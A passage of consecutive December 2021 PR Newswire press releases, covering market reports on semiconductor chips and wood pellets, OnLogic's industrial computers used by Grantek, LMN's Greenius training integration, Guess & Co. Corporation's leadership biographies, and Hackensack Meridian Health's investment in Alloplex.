grow from $82.8 billion in 2021 to $122.6 billion in 2026 at a CAGR of 8.2% for the forecast period of 2021 to 2026. in 2021 to in 2026 at a CAGR of 8.2% for the forecast period of 2021 to 2026. The Asia-Pacific semiconductor chips market is expected to grow from $266.8 billion in 2021 to $392.3 billion in 2026 at a CAGR of 8.0% for the forecast period of 2021 to 2026. Analyses of the global market trends, with data from 2019 to 2020, estimates for 2021 and projections of compound annual growth rates (CAGRs) through 2026 Report Scope The report covers the market for semiconductor chips with regards to their user base across different regions. It also focuses on the major trends and challenges that affect the market and the vendor landscape. The report estimates the global market for marketing analytics in 2020 and provides projections of the expected market size through 2026. Although silicon semiconductors are currently the most widely used commercial semiconductors, several other semiconductors are also being used. These components can be converted into transistors. Transistors are found in a wide variety of electronic devices, including computers, mobile phones, digital audio players and a range of other electronic gadgets. Demand for the semiconductors used in wireless communication applications witnessed steep declines in 2020. Consumer preferences shifted toward the purchase of less expensive phones, reducing demand for semiconductors. In locations where 5G networks have not yet been established, telecom operators are likely to delay investments and instead focus on enhancing current networks to support growing data traffic. At the same time, demand for the semiconductors used in wired communication applications increased. This was a result of several pandemic-related factors, including increased security upgrades for existing enterprise infrastructures as more employees began to work from home; increased fixed broadband usage in some countries, which resulted in increased purchases of cable/DSL and wireless routers as workers upgraded the internet connections in their private home offices; and increased internet traffic, which increased demand for switch semiconductors. In addition, demand for the semiconductors used consumer electronics declined, while demand for gaming gadgets, audio equipment and some kitchen appliances increased, a trend that is largely due to consumers spending more time at home. The automotive semiconductor market contracted in 2020 as a result of a steep decline in vehicle sales. Demand for all industrial applications and end-markets declined in 2020 as corporations delayed infrastructure investments, cut production activities and reduced operations. The global semiconductor chips market has been segmented based on type, end-user and geography. Based on type, the semiconductor chips market has been categorized into analog chips, logic chips and memory chips. Memory chips accounted for the second dominant share of the market. Note: A large part of the report focuses on the global semiconductor chip shortage of 2021. The report analyzes the impact of this shortage across various end-users and key countries. Key Topics Covered: Chapter 1 Introduction Chapter 2 Summary and Highlights Chapter 3 Market Overview Overview of the Global Semiconductor Industry Semiconductor Industry Value Chain Introduction to Semiconductor Chips (Integrated Circuits) Types of Integrated Circuits Materials Used in Chip Manufacturing Evolution of Integrated Circuits The invention of Integrated Circuits (ICs) Evolution of Process Nodes Competitive Landscape Market Drivers of Semiconductor Chips Increasing Internet of Things Adoption Increasing Usage of Semiconductor Chips in AI Applications Increasing Use of Chips for 5G Applications Increasing Semiconductor Content in Automotive Sector Market Restraints for Semiconductor Chips Global Political, Economic and Financial Crises Lack of Trained Individuals in Memory Chips Market Chapter 4 Overview of Semiconductor Chip Shortage Impact of COVID-19 Demand-Supply Gap Semiconductor Chips Operating Models Integrated Device Manufacturers Fabless-Foundry Model Outsourced Semiconductor Assembly and Test (OSAT) Factors Driving Semiconductor Shortage Sudden Demand for Consumer Electronics Due to COVID-19 Pandemic Disruption in Supply Chain Caused by COVID-19 Pandemic Trade Wars Drought in Taiwan Others Chapter 5 Market Breakdown by Type Introduction Memory Chips Logic Chips Microprocessors Microcontrollers Analog Chips Chapter 6 Market Breakdown by End User Introduction Computing Automotive Significant factors Consumer Electronics Impact of Chip Shortage Industrial Wireless Communication Others Chapter 7 Market Breakdown by Region Introduction Chapter 8 Company Profiles Advanced Micro Devices Inc. Apple Inc. Broadcom Inc. Infineon Technologies Ag Intel Corp. Kioxia Holdings Corp. Mediatek Inc. Micron Technology Inc. Nvidia Corp. Qualcomm Inc. Samsung Electronics Co., Ltd. SK Hynix Inc. STMicroelectronics N.V. Taiwan Semiconductor Manufacturing Co., Ltd. Texas Instruments Inc. For more information about this report visit https://www.researchandmarkets.com/r/ecj1ay Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Wood Pellet Market Forecast to 2028 - COVID-19 Impact and Global Analysis by Application [Residential Heating, Commercial Heating, Combined Heat and Power (CHP), and Power Generation]" report has been added to ResearchAndMarkets.com's offering. The wood pellet market was valued at US$ 9,630.99 million in 2020 and is projected to reach US$ 23,892.77 million by 2028; it is expected to grow at a CAGR of 12.1% from 2021 to 2028. Wood pellets are produced using finely ground wood bark; they are majorly used as fuel. These are extensively used in residential houses for efficient burning in smaller stoves. Wood pellets are produced from numerous wood waste products and are considered a source of renewable energy. Currently, along with residential heating, there is increased use of wood pellets for power generation across the globe. These are largely utilized globally as a fuel, which is expected to increase the demand for wood pellets in the coming years. Europe is the leading region for the consumption of wood pellets for power generation. Moreover, North America is the significant exporter of wood pellets, which is expected to increase the production facilities of wood pellets in the coming years. Based on application, the wood pellet market is segmented into residential heating, commercial heating, CHP (combined heat and power), and power generation. The residential heating segment led the wood pellet market with the highest market share in 2020. Wood-fueled systems are commonly used worldwide for residential heating, and recently wood pellets have been replacing traditional firewood. Wood pellet boilers for residential heating applications promise low emissions, high efficiency, and automatic operation. Wood pellets are used for residential heating in pellet stoves. They are also used in pellet boilers to generate heat, steam, and electricity in the service industry, power generation, and manufacturing. It is used for power generation and heat generation in the manufacturing and energy sectors, which is driving the wood pellet market. Since the cost of wood pellets remained cheaper than that of other fuels for a long time, it has become a more economical option, addressing the primary concern of the residential sector. As a renewable energy source, wood pellets received incentives and subsidies from the governments in many countries. In recent years, many countries either launched or updated their policies and schemes related to wood pellets for heating applications. In 2020, Europe contributed to the largest share in the global market. An annual report filed with the USDA Foreign Agricultural Service's Global Agriculture Information Network represents that the wood pellet market in Europe has been relatively unaffected by the COVID-19 pandemic. As per the report, the region consumed ~29 million metric tons of wood pellets in 2018, which makes it the world's largest pellet market. Wood pellets are used in residential applications for heating purposes and industrial heat and power generation. The report further states that the region contributes ~30% of world pellet production currently. However, it accounts for the major consumption of wood pellets across the globe. Italy, Germany, and other such countries are considered as the major growth markets for consuming wood pellets in residential heating applications. The UK is one of the major consumers of wood pellets, followed by Italy and Denmark. Pacific BioEnergy, Premium Pellet Ltd., Pinnacle Renewable Energy, Enviva, Andritz, Wood & Sons, Graanul Invest, New England Wood Pellet, Tanac, and Energex Pellet Fuel, Inc. are among the major players operating in the wood pellet market. Reasons to Buy Highlights key business priorities in order to assist companies to realign their business strategies. The key findings and recommendations highlight crucial progressive industry trends in the global wood pellet market, thereby allowing players to develop effective long-term strategies. Develop/modify business expansion plans by using substantial growth offering developed and emerging markets. Scrutinize in-depth the market trends and outlook coupled with the factors driving the market, as well as those hindering it. Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to products, segmentation and industry verticals. Key Topics Covered: 1. Introduction 2. Key Takeaways 3. Research Methodology 4. Wood Pellet Market Landscape 4.1 Market Overview 4.2 Porter's Five Forces Analysis 4.2.1 Bargaining Power of Suppliers 4.2.2 Bargaining Power of Buyers 4.2.3 Threat of Substitutes 4.2.4 Threat of New Entrants 4.2.5 Intensity of Competitive Rivalry 4.3 Expert Opinion 4.4 Ecosystem Analysis 5. Wood Pellet Market - Key Market Dynamics 5.1 Market Drivers 5.1.1 Growing Awareness About Use of Renewable Energy Sources 5.1.2 Expanding Demand for Wood Pellets from Europe 5.2 Market Restraints 5.2.1 Mandatory Compliances and Operational Challenges Associated with Wood Pellet 5.3 Market Opportunities 5.3.1 Rising Demand for Wood Pellets from Power Generation Industry 5.4 Future Trends 5.4.1 Significant Investment in Research and Expansion 5.5 Impact Analysis of Drivers and Restraints 6. Wood Pellet - Global Market Analysis 6.1 Wood Pellet Market Overview 6.2 Wood Pellet Market -Revenue and Forecast to 2028 (USD Million) 6.3 Market Positioning - Global Market Players 7. Wood Pellet Market Analysis - By Application 7.1 Overview 7.2 Wood Pellet Market, By Application (2020 and 2028) 7.3 Residential Heating 7.3.1 Overview 7.3.2 Residential Heating: Wood Pellet Market - Revenue and Forecast to 2028 (US$ Million) 7.4 Commercial Heating 7.4.1 Overview 7.4.2 Commercial Heating: Wood Pellet Market - Revenue and Forecast to 2028 (US$ Million) 7.5 CHP (Combined Heat and Power) 7.5.1 Overview 7.5.2 CHP (Combined Heat and Power): Wood Pellet Market - Revenue and Forecast to 2028 (US$ Million) 7.6 Power Generation 7.6.1 Overview 7.6.2 Power Generation: Wood Pellet Market - Revenue and Forecast to 2028 (US$ Million) 8. Global Wood Pellet Market - Geographic Analysis 9. Overview - Impact of COVID-19 9.1 List of Top 10 Economies Affected by COVID-19 Pandemic 9.2 Impact of COVID-19 on Wood Pellet Market 9.3 North America: Impact Assessment of COVID-19 Pandemic 9.4 Europe: Impact Assessment of COVID-19 Pandemic 9.5 Asia-Pacific: Impact Assessment of COVID-19 Pandemic 9.6 Middle East & Africa: Impact Assessment of COVID-19 Pandemic 9.7 South and Central America: Impact Assessment of COVID-19 Pandemic 10. Company Profiles 10.1 ANDRITZ 10.1.1 Key Facts 10.1.2 Business Description 10.1.3 Products and Services 10.1.4 Financial Overview 10.1.5 SWOT Analysis 10.1.6 Key Developments 10.2 Energex Pellet Fuel, Inc. 10.2.1 Key Facts 10.2.2 Business Description 10.2.3 Products and Services 10.2.4 Financial Overview 10.2.5 SWOT Analysis 10.2.6 Key Developments 10.3 Enviva Lp 10.3.1 Key Facts 10.3.2 Business Description 10.3.3 Products and Services 10.3.4 Financial Overview 10.3.5 SWOT Analysis 10.3.6 Key Developments 10.4 New England Wood Pellet 10.4.1 Key Facts 10.4.2 Business Description 10.4.3 Products and Services 10.4.4 Financial Overview 10.4.5 SWOT Analysis 10.4.6 Key Developments 10.5 Pacific Bioenergy 10.5.1 Key Facts 10.5.2 Business Description 10.5.3 Products and Services 10.5.4 Financial Overview 10.5.5 SWOT Analysis 10.5.6 Key Developments 10.6 Pinnacle Renewable Energy Inc 10.6.1 Key Facts 10.6.2 Business Description 10.6.3 Products and Services 10.6.4 Financial Overview 10.6.5 SWOT Analysis 10.6.6 Key Developments 10.7 Premium Pellet Ltd. 10.7.1 Key Facts 10.7.2 Business Description 10.7.3 Products and Services 10.7.4 Financial Overview 10.7.5 SWOT Analysis 10.7.6 Key Developments 10.8 Graanul Invest 10.8.1 Key Facts 10.8.2 Business Description 10.8.3 Products and Services 10.8.4 Financial Overview 10.8.5 SWOT Analysis 10.8.6 Key Developments 10.9 Wood & Sons 10.9.1 Key Facts 10.9.2 Business Description 10.9.3 Products and Services 10.9.4 Financial Overview 10.9.5 SWOT Analysis 10.9.6 Key Developments 10.10 TANAC 10.10.1 Key Facts 10.10.2 Business Description 10.10.3 Products and Services 10.10.4 Financial Overview 10.10.5 SWOT Analysis 10.10.6 Key Developments 11. Appendix For more information about this report visit https://www.researchandmarkets.com/r/yyt5y9 Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1904 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com SOUTH BURLINGTON, Vt., Dec. 15, 2021 /PRNewswire/ -- Global industrial solutions provider, OnLogic ( www.onlogic.com ), has announced leading systems integrator, Grantek ( www.grantek.com ) is utilizing OnLogic hardware with integrated software to help their clients achieve operational efficiencies and keep pace with the evolving expectations of modern factories, warehouses, and clean energy production sites. "We understand that every one of our customers requires a unique solution to meet their business goals," said Ian Tooke, VP of Strategic Business Development at Grantek. "OnLogic offers the wide range of system configurations and integrated partner software needed to provide the ideal hardware for each application." Grantek leverages OnLogic's partner relationships to deliver industrial hardware with leading Industry 4.0 software pre-loaded. This eliminates the time and cost associated with receiving, warehousing, imaging software, and shipping to the end install location. As a result, Grantek customers are able to achieve more rapid deployments and incur lower project costs. "Our partnerships with software providers like Inductive Automation, IGEL, and ThinManager allow us to create an integrated solution that's ready to go out of the box," said Mike Walsh, Product Manager at OnLogic. "By extensively verifying compatibility with each system, we're able to combine ease and speed of initial installation with the long term reliability our fanless industrial computers are known for. We're proud to supply solutions to the dedicated team at Grantek." Grantek has used the OnLogic IGN500 and IGN510 systems, which include Inductive Automation's Ignition Edge software, to enable edge computing in their clients' SCADA environments. OnLogic TM200 thin clients, with ThinManager OS pre-installed, have been utilized to provide industrial virtualization solutions in manufacturing facilities. Recently, Grantek chose the IGEL Ready OnLogic IGL100 to provide a secure and easily managed thin client solution for one of their clients. To learn more about how Grantek customers are utilizing OnLogic systems, read their full customer story at https://www.onlogic.com/solutions/case-studies/grantek/ . To learn more about OnLogic's integrated software solutions, visit https://www.onlogic.com/solutions/industrial-computers-with-integrated-software/ . About OnLogic OnLogic is a global industrial computer manufacturer who designs highly-configurable, solution-focused computers engineered for reliability at the IoT edge. Their systems operate in the world's harshest environments, empowering customers to solve their most complex computing challenges, no matter their industry. Founded in 2003 as Logic Supply, the company has offices in the U.S., the Netherlands, Taiwan and Malaysia. OnLogic has helped more than 70,000 customers worldwide advance their ideas with computers that are designed to last, built to order and delivered in days. Learn more at www.onlogic.com or on YouTube at www.youtube.com/onlogic . About Grantek For over 40 years, top manufacturers in Food & Beverage, CPG and Life Sciences/Pharmaceuticals have called upon Grantek to solve their most complex business and manufacturing challenges. Grantek automates Pharmaceutical and Food & Beverage manufacturing operations, including integration with business systems for seamless solutions. Grantek helps customers meet the stringent requirements and challenges of the 4th Industrial Revolution. Grantek is a system integrator and solution provider with a specialization in Smart Manufacturing solutions, Manufacturing Automation solutions, Industrial IT/Cybersecurity solutions and Manufacturing Consulting services. Visit https://grantek.com/ for more information. SOURCE OnLogic MARKHAM, ON, Dec. 15, 2021 /PRNewswire/ -- Landscape Management Network (LMN) https://golmn.com/ , North America's leading B2B landscape business management software company has announced the next phase of its integration with Greenius to strengthen the company's training solution offering for the landscape and snow removal industries. Greenius is now integrated into LMN software , allowing customers to seamlessly begin landscaper training at the click of a button. LMN Announces Integration of Greenius into the LMN platform. LMN customers will also receive Greenius training on a complimentary basis through March 2022, allowing thousands of contractors across the United States and Canada to experience the benefits of the training modules, safety measures and landscaping courses for their employees. "As we've worked with the Greenius team over the past four months and have connected with our customers, it's clear there is a great need for easy-to-use training videos that contractors can utilize to train and retain employees," said Mark Bradley, CEO at LMN. "We've now built the integration between the two systems making access easy for our customers. It's one step towards helping address the talent gap in the industry." Doubling Down on Landscaping Growth, More Trainings to Meet Industry Needs Additionally, LMN and Greenius are committed to building both depth in available training and the team to help landscape contractors best utilize the software. Greenius will more than double its current inventory of courses by early 2022, adding more than 50 new courses to its existing portfolio of 60 courses available today. LMN and Greenius are also quickly hiring staff to fill the growing needs of the Greenius team, and will more than double the company's employee size by early 2022. The majority of team members will be based at the Greenius office located in London, Ontario, and roles will include sales, customer support, and video production. Among the newest additions to the Greenius team is Brent Giles, Senior Vice President, Greenius , a seasoned industry leader who joined LMN in September to lead the Greenius team. "Greenius is poised to transform how training and development can help the industry," noted Giles. "It's proven that if you train your crews appropriately you can drive efficiency, productivity and safety, all positively impacting employee retention and ultimately the company's bottom line." A list of all open positions at Greenius can be found here . Simplified Pricing Model for All Business Owners Finally, LMN and Greenius have introduced a simple, consistent pricing structure that delivers affordable options for companies of all sizes. Greenius will now be offered at a monthly rate of $97 per month, plus a $9.97 monthly fee per user, as well as a minimal implementation fee. "One of the first things we heard when we began connecting with Greenius customers and prospects was an opportunity with pricing," added Giles. "Our new pricing makes it easy for companies of all sizes to budget for landscaper training and allows for flexible user engagement with no contracts required." More details on the pricing model can be found at https://www.gogreenius.com/pricing/ . About LMN (Landscape Management Software) Founded in 2009, LMN helped customers create over $51 billion worth of estimates, capture 78 million individual clock-ins, and have managed more than 245,000 employees daily through the software. Visit https://golmn.com/ . Contact: Matt Braun Vice President, Communications, LMN 414.975.8831 [email protected] SOURCE LMN Jerry D. Guess is founder and president of Guess & Co. Corporation. Mr. Guess has 17 years of business, professional, and government experience. A serial entrepreneur, he started his first business when he was 12 years old. He launched a public relations and marketing firm at the age of 15 years old. When he was 16 years old, he started a holding company that grew rapidly within a few months. Mr. Guess began acquiring companies when he was 17 years of age. He served as president and chief operating officer of an internet service provider and successfully launched the company's platform ahead of schedule. Mr. Guess was chairman and CEO of a diversified small business consulting firm that grew to multiple offices in less than 12 months. He has been chairman and president of a general contractor focused on commercial building and high-end residential properties. His government experience includes a supervisory level position with the U.S. Department of Commerce and the Census Bureau in which he was in charge of field teams for statistical data collection operations. Mr. Guess is the principal co-founder of a company that operates businesses that provide employment to disadvantaged persons including those with criminal records, welfare recipients, and individuals with disabilities. Despite his own personal setbacks, Mr. Guess decided to launch a mission-driven company when he founded Guess & Co. Corporation in 2017 as part of his second chance. Determined to positively impact society, Mr. Guess assembled a Board of Directors and management team while initially serving in a non-executive capacity as a principal and being a close adviser to the company. Mr. Guess completed business coursework at Adams State University. He is currently enrolled at University of Maryland Global Campus where he is earning a degree in a Legal Studies Degree with a minor in Economics. The Board of Directors appointed Mr. Guess to the position of chief executive officer of Guess & Co. Corporation in January of 2019 and named him chairman of the board of directors, and he assumed the president position in May of 2021. As chairman and president, Mr. Guess leads the company and oversees its direction. James R. Jackson, Deputy Chairman James R. Jackson is shareholder, director and deputy chairman of the Board of Directors of Guess & Co. Corporation. Mr. Jackson is an experienced financial professional. He retired from Wachovia (now Wells Fargo) after over 37 years of service. He began his financial career as a fiduciary tax associate for the financial institution. Mr. Jackson became a charitable trust officer for the bank and was responsible for managing over 500 accounts for the bank's wealth management clients. Following his retirement, Mr. Jackson became a partner in a private security service. In that role, he facilitated training and handled administration and business development. Mr. Jackson joined Guess & Co. Corporation initially as special adviser and worked closely with the board of directors and senior management on important matters. As a director and deputy chairman, Mr. Jackson is responsible for overseeing the governance of the company along with the chairman. Mr. Jackson served as vice-chairman prior to his current position. He was appointed deputy chairman in October 2021. He is a member of the executive committee of the board of directors. Mr. Jackson is chairman of the nominating and governance committee of the board of directors, and a member of the audit committee of the board of directors. Colleen Berry, Vice-Chairman Colleen Berry is shareholder, director and vice-chairman of the Board of Directors of Guess & Co. Corporation. Ms. Berry is an experienced public accounting professional. She began her career in public company accounting with Ernst & Young and remained with the firm until her retirement as a partner. During her time at the firm, Ms. Berry was a partner in the Assurance division, and specifically, the Financial Services Organization (FSO), Banking and Capital Markets Group Practice. Ms. Berry served as a trusted advisor to the audit committee and management teams of broker-dealers, mutual funds, and banks throughout North America and abroad. Her tenure with Ernst & Young included being based in the firm's Cincinnati, Chicago, Toronto, and McLean offices. Ms. Berry earned her Bachelor of Science in Accountancy with a minor in French from the University of Dayton. She earned a Master of Science in Financial Markets from the Illinois Institute of Technology. She was licensed as a Certified Public Accountant in Virginia and a Chartered Accountant by the Institute of Chartered Accountants of Ontario. She completed the EY Executive Management Program at the Kellogg School of Management at Northwestern University. Ms. Berry was appointed to the board of directors in September of 2021 and appointed vice-chairman in October of 2021. As a director and vice-chairman, Ms. Berry is responsible for overseeing the governance of the company along with the chairman and deputy chairman. Ms. Berry is a member of the executive committee, a member of the audit committee, a member of the nominating and governance committee of the board of directors. Mitchell M. Cohen, Lead Director Mitchell M. Cohen is shareholder, director and lead director of the Board of Directors of Guess & Co. Corporation. Mr. Cohen is a seasoned executive and corporate director. Mr. Cohen is chief executive officer at Pursuit Management LLC. He served as chief financial officer of Athenian Venture Partners. He has more than 30 years of financial, operations and general business experience as a senior executive at several public and private companies. Prior to Athenian, Mr. Cohen completed an engagement as the interim financial executive of a publicly traded asset manager. He also spent nearly five years as the CFO and secretary of Asta Funding, Inc. Mr. Cohen has also spent over seven years in public accounting with a heavy emphasis on financial audits of hedge funds and mergers and acquisitions engagements. Mr. Cohen has experience raising money in intricate PIPE transactions, reverse mergers, public offerings, and private company financings. Mr. Cohen served as the chief financial officer, executive vice-president, and secretary of Ramp Corp. from November 2003 to September 2004 and served as its principal accounting officer since November 2003. Mr. Cohen joined Ramp Corp. (Formerly Medix Resources Inc.) in November 2003. From June 2002 to October 2003, he was a financial and business consultant to three public companies. From November 1998 to May 2002, he served as chief financial officer of Siebert Financial Corp. and served as its executive vice-president. The public companies included Siebert Financial Corporation, Everything's Jake and Ehrlich Bober Financial Corporation. Mr. Cohen has taught continuing professional education classes for accountants with a focus on Securities and Exchange Commission matters and has taught continuing education classes at Hofstra University. He has also been a featured speaker at investment and industry conferences. He served as the chief financial officer of two other publicly traded companies. Mr. Cohen graduated from Queens College with a B.A. in Accounting and with a minor in Economics. As lead director, Mr. Cohen has an important oversight role for the company's board to ensure that the company adheres to high standards of governance. He is a member of the nominating and governance committee of the board of directors. Mr. Cohen is chairman of the audit committee of the board of directors. Kevin J. Kline, J.D., Chief Special Adviser Kevin J. Kline is shareholder and chief special adviser to the Board of Directors of Guess & Co. Corporation. Mr. Kline retired from the Federal Bureau of Investigation as Assistant Special Agent in Charge of the New Haven Division in Connecticut. He managed over 175 employees in that field office and oversaw National Security, Intelligence and Administrative programs for the division. Prior to overseeing the New Haven FBI office, Mr. Kline was an Inspector at the FBI Headquarters in Washington, D.C., where he was responsible for conducting compliance audits of FBI field offices and working closely with the FBI Director. During his time at FBI headquarters, he created and implemented a new method to assess the performance of FBI executives. Prior to working at headquarters, Mr. Kline was the On-Scene Commander in Afghanistan for the FBI's Counter-terrorism Division. Prior to his international assignment, Mr. Kline was Assistant Special Agent in Charge of the Boston Division in Massachusetts. While overseeing the Boston division, Mr. Kline managed over 225 employees and put together joint task forces for terrorism investigations. He also led the team in successfully locating, apprehending, and securing a conviction of a Boston organized crime fugitive. As Supervisory Special Agent for the Newark Division in New Jersey, Mr. Kline led the investigation related to the 9/11 attacks in New Jersey and United Airlines Flight 93. Mr. Kline earned a Bachelor of Arts degree in History and Education, graduating Magna Cum Laude from Canisius College. He holds a Juris Doctor degree from The Albany Law School of Union University. Mr. Kline works closely with members of leadership team and our Board of Directors to ensure effective compliance and risk management for Guess & Co. Corporation. Mr. Kline joined Guess & Co. Corporation as special adviser in December of 2020. He became chief special adviser in October of 2021. Aside from Guess & Co. Corporation, Mr. Kline is chief operating officer for The Aggeris Group, LLC an investigative and security firm. D. Michelle Stewart, Chief Executive Officer D. Michelle Stewart is principal shareholder and chief executive officer of Guess & Co. Corporation. Ms. Stewart is a seasoned executive and business professional with over 20 years of experience. She has completed studies in Organizational Leadership at Colorado State University Global. She joined Guess & Co. Corporation in 2017 after a long career in real estate investment and business financing. She served as interim executive vice-president and managing director handling corporate strategy and mergers and acquisitions for the company. She served as president of the company overseeing day to day operations. She has been a member of the company's Board of Directors in a senior capacity. She returned from retirement in September of 2021 to serve as the company's chief operating officer and chief financial officer. In December of 2021, Ms. Stewart was appointed to the position of chief executive officer. Ms. Stewart works closely with the president of the company to oversee its direction and growth and she provides leadership to the executive team. William E. Durant, Chief Operating Officer, Chief Financial Officer & Group President, Business Operations William E. Durant is shareholder, chief operating officer, chief financial officer and group president of business operations of Guess & Co. Corporation. Mr. Durant has over 30 years of financial, manufacturing, operations, and general business experience. He has been chief financial officer as well as director of operations and finance respectively for two different manufacturing and distribution startups in consumer electronics. He helped grow both organizations into multi-million-dollar entities through growth domestically and worldwide. Mr. Durant also has entrepreneurial experience starting a construction company specializing in residential steel frame construction and his own consumer electronics sales company. He earned a Bachelor of Science in Business from Emporia State University and has training in Lean Six Sigma. Mr. Durant joined Guess & Co. Corporation in October of 2021. Mr. Durant was appointed chief operating officer and chief financial officer in December of 2021. As chief operating officer, chief financial officer and group president of business operations, Mr. Durant works closely with the chief executive officer of the company. He is responsible for the day to day operations and financial affairs of the corporation including financial reporting. Angela M. Ates, Senior Executive Vice-President, Secretary & Treasurer Angela M. Ates is shareholder, senior executive vice-president, secretary, and treasurer of Guess & Co. Corporation. Ms. Ates is an experienced business professional with nearly two decades of experience. She began her business career as administrator and later as a vice-president of a consulting firm where she was responsible for administration and human resources. Ms. Ates joined Sprint as a business account representative and successfully managed a portfolio of business wireless service accounts. She served as an associate vice-president for a diversified company in which she handled business development and facilitated merger/acquisition negotiations. At Manpower, Ms. Ates was a talent acquisition specialist and worked with businesses seeking employees for their operations. Most recently, Ms. Ates was a recruiter for the residential mortgage operations at Wells Fargo. She has served as secretary and treasurer of a private holding company and has experience with corporate records and custody of assets. Ms. Ates joined Guess & Co. Corporation in August of 2021 as assistant secretary and assistant treasurer. Ms. Ates was appointed secretary and treasurer in August of 2021 and appointed senior executive vice-president in October of 2021. Ms. Ates has responsibility for corporate records including shareholder records and official records of the company, and is responsible for the custody of company assets. Jennifer M. Britt, Executive Vice-President, Managing Director, Deputy Secretary & Deputy Treasurer Jennifer M. Britt is shareholder, executive vice-president, managing director, deputy secretary and deputy treasurer of Guess & Co. Corporation. Ms. Britt joined Guess & Co. Corporation in August of 2021 as a senior executive assistant to the CEO. Prior to her current position, Ms. Britt served as corporate vice-president, executive director, assistant secretary and assistant treasurer. Ms. Britt is an experienced business professional. She has served as vice-president, secretary and treasurer of a private holding company. She has a strong legal field background. Ms. Britt began a paralegal career working for small and mid-sized law firms. She supported lawyers handling bankruptcy and civil litigation cases. In her current roles with Guess & Co. Corporation, Ms. Britt provides support to the chief executive officer and president of the company and works with other members of the leadership team to accomplish the company's objectives. She also handles special projects and initiatives throughout the company and works to ensure organizational effectiveness. Angela S. Purnell, Executive Vice-President & Managing Director, Corporate Operations/Corporate Finance Angela S. Purnell is shareholder, executive vice-president and managing director of corporate operations and corporate finance for Guess & Co. Corporation. Ms. Purnell joined Guess & Co. Corporation initially in March of 2021 and was with the company as executive vice-president, corporate operations officer, and assistant secretary-treasurer She also served as special assistant to the chief operating officer and chief financial officer. Ms. Purnell has over 20 years of experience in corporate management, corporate training, and corporate administration. Ms. Purnell returned to Guess & Co. Corporation in October of 2021 to assume her current positions. In her current roles, Ms. Purnell is responsible for day-to-day corporate operations and finance including policy development and implementation, procedure development and implementation, human resources, benefits, payroll, credit/collections, accounts payable, accounts receivable, general accounting, and cash management. About Guess & Co. Corporation Guess & Co. Corporation is committed to revitalizing and providing stewardship to rural communities through energy, health care, technology, and real estate solutions. We commenced operations in August of 2017. We serve communities, small businesses, corporations and governments while improving the welfare of people. Guess & Co. Corporation is a registered contractor with the U.S. Government to provide solutions to federal government agencies and members of our company have active top-secret/SCI clearances. We are based in Overland Park, Kansas and we operate primarily in the states of Kansas, Nebraska, Missouri, and North Carolina. SOURCE Guess & Co. Corporation This investment in Alloplex is Hackensack Meridian Health's fifth through the Bear's Den, the health network's successful innovation program, which seeks to drive medical science forward by supporting strategic candidates in biotech and pharma. "Innovation is in our DNA and we are proud to support this promising new treatment concept," said Robert C. Garrett, FACHE, CEO of Hackensack Meridian Health. "The Bear's Den is foundational to our efforts to transform healthcare and deliver more value to the communities we serve." "Hackensack Meridian Health's investment represents a significant vote of confidence in our highly-differentiated approach to cellular therapy," said Frank Borriello, M.D., Ph.D., Alloplex's Scientific Founder and CEO. "We are very appreciative of the investment which not only supports our initial clinical trials but also establishes a foundation for collaboration in the years ahead." SUPLEXA Therapeutic Cells are an autologous therapy made from activated and reprogrammed peripheral blood mononuclear cells (PBMC) - derived from the patient's whole blood. SUPLEXA are generated rapidly and in abundance through a robust ex vivo manufacturing procedure to give them the capacity to kill all tumor cells tested - without affecting normal cells. SUPLEXA are comprised of a heterogenous mixture of cells of both innate and adaptive phenotypes, thereby employing a multi-modal anti-tumor strategy. The company believes, by using the patient's own cells activated through naturally occurring receptors rather than external substances, this therapy may be better tolerated than using foreign substances, while maximizing anti-cancer effects. Alloplex was founded in 2016 by its CEO, Dr. Borriello - a Harvard-trained immunologist with over 20 years of experience in the pharmaceutical industry. Prior to Alloplex he led the Search and Evaluation function in multiple pharmaceutical companies. Launched in 2017, Bear's Den features a panel of experts, including Hackensack Meridian Health CEO Garrett, leading physicians, key network executives, venture capitalists, patent attorneys, who gather regularly to vet proposals from entrepreneurs. The health network's novel incubator has vetted many products and strategies to streamline care delivery, reduce infections, lower hospital readmissions, and help patients partner in their care with physicians. "Hackensack Meridian Health is interested in pushing innovation forward, not just through our own considerable research efforts - but also through investments of this caliber," said Ihor Sawczuk, M.D., FACS, the chief research officer and president of the Northern Region of the health network. "We believe the future is an exciting place." About Alloplex Biotherapeutics Alloplex Biotherapeutics Inc is a privately owned Boston-based cellular therapeutics company with headquarters and laboratories located in Woburn MA, USA; and a wholly owned subsidiary Alloplex Australia Pty Ltd. Led by Scientific Founder and CEO, Dr. Frank Borriello, M.D., Ph.D, the organization has developed an autologous cellular therapy derived from peripheral blood mononuclear cells. These SUPLEXA therapeutic cells, which are comprised of cells of both innate and adaptive phenotypes, display broad anti-tumor activity. Alloplex has established a robust GMP manufacturing procedure for SUPLEXA and as an autologous therapeutic are expected to be well-tolerated and safe. The first in-human clinical trial designed to yield both safety and efficacy data and anticipated to commence in early 2022 is a basket design and will enroll patients with a variety of hematologic malignancies and solid tumors. To learn more visit www.alloplexbio.com ABOUT HACKENSACK MERIDIAN HEALTH Hackensack Meridian Health is a leading not-for-profit health care organization that is the largest, most comprehensive and truly integrated health care network in New Jersey, offering a complete range of medical services, innovative research and life-enhancing care. Hackensack Meridian Health comprises 17 hospitals from Bergen to Ocean counties, which includes three academic medical centers Hackensack University Medical Center in Hackensack, Jersey Shore University Medical Center in Neptune and JFK University Medical Center in Edison; one university teaching hospital Ocean University Medical Center in Brick; two children's hospitals - Joseph M. Sanzari Children's Hospital in Hackensack, K. Hovnanian Children's Hospital in Neptune; eight community hospitals Bayshore Medical Center in Holmdel, Old Bridge Medical Center in Old Bridge, Mountainside Medical Center in Montclair, Palisades Medical Center in North Bergen, Pascack Valley Medical Center in Westwood, Raritan Bay Medical Center in Perth Amboy, Riverview Medical Center in Red Bank, and Southern Ocean Medical Center in Manahawkin; a behavioral health hospital Carrier Clinic in Belle Mead; and two rehabilitation 